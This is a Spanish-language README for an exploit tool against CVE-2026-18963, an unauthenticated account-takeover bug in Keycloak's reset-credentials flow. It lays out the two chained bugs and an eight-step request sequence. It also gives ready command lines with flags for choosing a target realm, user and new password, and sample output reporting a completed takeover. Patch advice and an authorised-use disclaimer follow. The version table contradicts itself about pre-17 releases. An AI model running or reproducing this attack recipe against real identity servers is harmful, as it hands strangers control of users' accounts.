
Exploit para CVE-2026-18963, una toma de control de cuenta crítica sin autenticación en el flujo de restablecimiento de credenciales de Keycloak, que encadena dos fallos para eludir la verificación por correo electrónico y establecer una nueva contraseña.
CVSS 9.1 Crítico · Keycloak 26.0.0 – 26.7.1 · Sin autenticación
Una vulnerabilidad crítica en el flujo de restablecimiento de credenciales de Keycloak que permite a un atacante no autenticado tomar el control de cualquier cuenta de usuario sin verificación de correo electrónico, encadenando dos errores en el manejo de la sesión de autenticación.
| Campo | Valor |
|---|
| CVE | CVE-2026-18963 |
| Puntuación CVSS | 9.1 (Crítico) |
| Vector CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-640 — Mecanismo de Recuperación de Contraseña Débil |
| Afectados | Keycloak 26.0.0 – 26.7.1 |
| Corregido | 26.4.15 / 26.6.6 / 26.7.2 / 26.8.0 |
| Componente | keycloak-services (flujo de restablecimiento de credenciales) |
| Referencia | https://github.com/keycloak/keycloak/issues/51833 |
Se encadenan dos errores:
Error 1 — El manejador tryAnotherWay almacena la nota
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" en la sesión de autenticación sin limitarla a ningún ID de ejecución.
Error 2 — ResetCredentialEmail.action() llama a context.success() (omitiendo por completo la verificación de correo electrónico) siempre que esa nota esté presente, sin comprobar ACTION_TOKEN_USER_ID.
1. GET /realms/{realm}/protocol/openid-connect/auth
→ Establecer sesión OIDC, extraer enlace de contraseña olvidada
2. GET /login-actions/reset-credentials?...
→ Cargar formulario de restablecimiento de credenciales
3. POST tryAnotherWay=on
→ Establece la nota AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED (Error 1)
4. POST username={objetivo} → formulario de selector
→ Vincula el usuario objetivo a la sesión de autenticación, activa el paso de correo electrónico
5. GET /login-actions/restart?...
→ Opcional: reflejar el sondeo de sesión del navegador
6. GET /login-actions/reset-credentials?... (misma URL que el paso 2)
→ La nota obsoleta del selector sigue presente → el selector de credenciales reaparece
7. POST username={objetivo} → selector obsoleto
→ ResetCredentialEmail ve la nota, llama a context.success() (Error 2)
→ El flujo avanza directamente a UPDATE_PASSWORD — no se envía correo electrónico
8. POST password-new={contraseña_atacante}
→ Cuenta comprometida
python3 -m pip install requests
python3 exploit_cve_2026_18963.py \
--url https://target.com \
--realm master \
--username [email protected] \
--new-password NewPass123!
--url URL base de Keycloak (obligatorio)
--realm Realm objetivo (por defecto: master)
--username Nombre de usuario o correo electrónico de la cuenta a comprometer (obligatorio)
--new-password Contraseña a establecer en la cuenta objetivo (obligatorio)
--client-id ID de cliente OIDC (por defecto: account)
--auth-prefix auto | new | old
auto = detectar automáticamente (por defecto)
new = /realms/... (Keycloak >= 17)
old = /auth/realms/... (Keycloak < 17)
-v, --verbose Imprimir traza HTTP completa
--skip-version-check
# Detección automática del prefijo de URL antiguo/nuevo de Keycloak
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026!
# Forzar prefijo /auth/ heredado (Keycloak < 17)
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026! \
--auth-prefix old
# Traza HTTP detallada
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026! \
-v
CVE-2026-18963 | Toma de Control de Cuenta No Autenticada en Keycloak
Usuario : [email protected]
[Paso 0] Detectando versión y prefijo de ruta
[+] Prefijo de ruta: '/auth' → detectado
[?] Versión no detectada — continuando de todos modos.
Objetivo : https://sso.example.com/auth/realms/myrealm
[Paso 1] Abrir formulario de restablecimiento de credenciales mediante enlace OIDC de contraseña olvidada
[+] Sesión OIDC establecida
[+] Formulario de restablecimiento de credenciales cargado
[Paso 2] POST tryAnotherWay=on → establecer nota del selector (Error 1)
[+] Formulario del selector de credenciales recibido
[Paso 3] POST username='[email protected]' → vincular usuario, activar paso de correo electrónico
[+] Paso de correo electrónico activado — URL de sondeo de sesión encontrada
[Paso 4] GET ruta de sondeo de sesión (opcional)
[Paso 5] Revisitar URL de contraseña olvidada → obtener selector obsoleto
[+] Formulario del selector de credenciales obsoleto recibido
[Paso 6] POST username al selector obsoleto → activar bypass (Error 2)
[+] BYPASS EXITOSO — formulario de actualización de contraseña recibido
[Paso 7] Establecer nueva contraseña
============================================================
[+] ÉXITO — Toma de Control de Cuenta Completada
[+] Objetivo : https://sso.example.com/auth/realms/myrealm
[+] Usuario : [email protected]
[+] Contraseña : Pwn3d2026!
============================================================
| Versión de Keycloak | Prefijo de URL | Vulnerable |
|---|---|---|
| < 17.x | /auth/realms/ | ✅ si está en el rango 26.x |
| ≥ 17.x | /realms/ | ✅ si es < 26.7.2 |
| 26.4.15+ / 26.6.6+ / 26.7.2+ / 26.8.0+ | cualquiera | ❌ Corregido |
El script detecta automáticamente si el objetivo utiliza el prefijo /auth/ heredado o la ruta moderna, por lo que funciona tanto con implementaciones antiguas como nuevas sin configuración manual.
Parche (recomendado): Actualizar a una de las versiones corregidas:
26.4.15 o posterior en la línea 26.4.x26.6.6 o posterior en la línea 26.6.x26.7.2 o posterior en la línea 26.7.x26.8.0 o posteriorSolución temporal: Deshabilitar Contraseña Olvidada en todos los realms:
Realm Settings → Login → Forgot Password → OFF
Esta herramienta es solo para pruebas de seguridad autorizadas y fines educativos. Úsala únicamente contra sistemas que poseas o para los que tengas permiso explícito por escrito para probar.